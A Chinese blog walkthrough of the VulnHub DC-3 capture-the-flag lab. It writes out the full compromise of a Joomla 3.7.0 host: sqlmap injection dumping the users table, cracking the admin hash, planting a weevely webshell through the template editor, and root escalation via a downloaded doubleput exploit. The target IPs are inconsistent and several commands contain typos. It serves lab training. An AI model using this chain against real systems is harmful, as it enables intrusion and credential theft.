一、前言
这次的靶场是vulhub下的dc-3,难度为简单,flag只有一个,下载地址为DC: 3.2 ~ VulnHub,话不多说还是开始吧
二、开始动手
我们在下载好后,记得需要把DVD设备移除,不然的话开启不了虚拟机,此时还是我们的老办法nmap。输入以下命令
nmap -sn --min-parallelism 200 --min-grouphost 192.168.79.0/24
这个命令也是用了很多次了,就不做过多阐述了,不懂的同学可以翻看我以前的博客
此时继续输入命令
nmap -A -sV -p- --min-parallelism 100 192.168.79.145
这个也是用了很多次的命令了,也不再阐述了
此时我们得到了两个信息,只开通了80端口,并且使用了joomla,输入这个ip地址看看页面有无给我们的提示信息
这个页面也只进行了些简单的描述,并无过多的提示
此时我们对这个页面进行目录扫描,输入以下命令
dirsearch -u 192.168.79.145
扫描出了很多的目录,这个administrator使我们比较在意的,这上面基本上有些用户信息
我们转到这个页面看看
得到了一个登录页面,并且确定了使用的是joomla,此时我们可以尝试看看msf有无可以利用的漏洞,但是我们需要知道他的版本信息
输入以下命令
joomscan -u 192.168.79.145
joomscan是joomla的一个专用扫描器,但是需要先进行安装
apt install joomscan
这是一个安装命令
此时我们得到了他的一个版本号,此时我们输入
searchspolit joomla 3.7.0
可以得知存在一个SQL注入漏洞和跨脚本请求伪造漏洞,这边的话我们就使用这个SQL注入漏洞
searchsploit -m
命令把sql注入漏洞对应的文件复制到当前文件夹
searchsploit -m 42033.txt
cat 42033.txt
我们直接使用这个提示我们的SQL语句把ip地址修改下就行
sqlmap -u "http://192.168.79.145/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
–risk 这个参数指定的数字越大,执行风险越高,成功率也越高。参数范围为1-3。
–level 这个参数指定的数字越大,发送的请求越多,成功率也越高,参数范围为1-5.
–random-agent 使用随机的请求的user agent,这个是为了避免请求被waf阻断。
–dbs 获取所有数据库名称。
-p 该参数是指定可以利用sql注入漏洞的参数。
扫描的时间有点长,但是最后还是得到了5个数据库,这个joomladb就是我们所需要的
继续输入以下命令
sqlmap -u "http://192.168.119.161/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
-D 指定需要扫描的库名。
–tables 列出指定库中的所有表名。
扫描出了很多表,这个user表比较重要,可能含有我们所需的用户的一些登录信息
继续输入以下命令
sqlmap -u "http://192.168.119.161/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --dump list[fullordering]
-T 指定需要扫描的报名。
–dump 表示获取指定库和表中的有内容。
命令结束后,我们知道了admin和其对应的密码
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
该密文首部 2y
表示该加密方式为Blowfish
。
尝试使用约翰开膛手破解一下,首先把密文保存一个文件中。
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu'>pass.txt
然后使用约翰开膛手进行暴力破解。
john pass.txt
john --show pass.txt
很好我们知道了其密码是snoopy,登录我们的后台页面
成功进入,下一步我们的任务就是获取一个shell
1.获取shell
获取shell的方法,通过修改模块中的php文件,插入一句话木马,然后通过中国菜刀或weevely连接。这里我采用weevely做演示,首先用weebely生成一个木马。
weevely generate a a.php
generate 代表生成一个木马
a 代表连接密码
a.php 是木马文件名
然后在后台打开Templates,然后依次点击 Templates
-> Beez3 Details and Files
,选择下边的模块也是可以的,这里就用Beez3模块做演示
点击 New File
后就会弹出一个模态框,在模态框中可以填写创建文件的文件名与文件类型。
随便填写一个文件名,但是需要记住,待会儿连接需要使用,文件类型选择PHP,点击create
输入以下命令
cat a.txt
将刚刚创建的木马内容复制下来
将刚刚用weevely生成的木马内容粘贴到文本框中,然后点击保存。
通过前面的目录扫描,我们知道了模块会保存在目录/templates/beez3/
中,我们访问一下刚才编辑好的木马文件:http://192.168.119.161/templates/beez3/tp.php
,如下图所示出现空白则说明有这个木马文件存在。
如果文件不存在则会报404
此时我们采用weevely连接,输入以下命令
weevely http://192.168.79.145/templates/beez3/tp.php a
最后面一个a是连接密码,在生成木马的时候设置的。
此时连接已经成功,接下来就进行提权
2.提权
通常的话我们使用suid和sudo提权,接下来我们就都试一下
此时,这两个命令都不行,只能用我们的msf了,但是需要知道版本号和内核版本号
输入以下命令
cat /etc/issue //查看系统版本号
uname -a //查看内核版本号
我们得知系统为 ubuntu 16.04
,内核发行版本为 4.4.0-21
。
此时再次请出我们的msf
输入以下命令
searchsploit ubuntu 16.04
这次提权我们采用39772.txt
输入命令
searchsploit -m 39772.txt
打开桌面的39772.txt
我们按照这个网站去下载
按照这个文件里面的提示下载好漏洞利用脚本。下载的是一个zip文件,里面有两个文件,分别为 exploit.tar
, crasher.tat
。这次提权我们只需要用到 exploit.tar
,所以把这个文件上传到靶机上,经过测试发现,提供的列表中若使用39772,可以提权成功。将39772.zip上传到靶机和对其解压,同时解压exploit.tar文件,依次执行compile.sh和doubleput后即可成功提权。
输入以下命令
1.wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
2.cd 39772
3.tar -xvf exploit.tar
4.cd ebpf*
5./compile.sh
6./doubleput
跳转到/root目录,成功获取到最后一个flag
三、总结
虽说只有一个flag但还是好难
7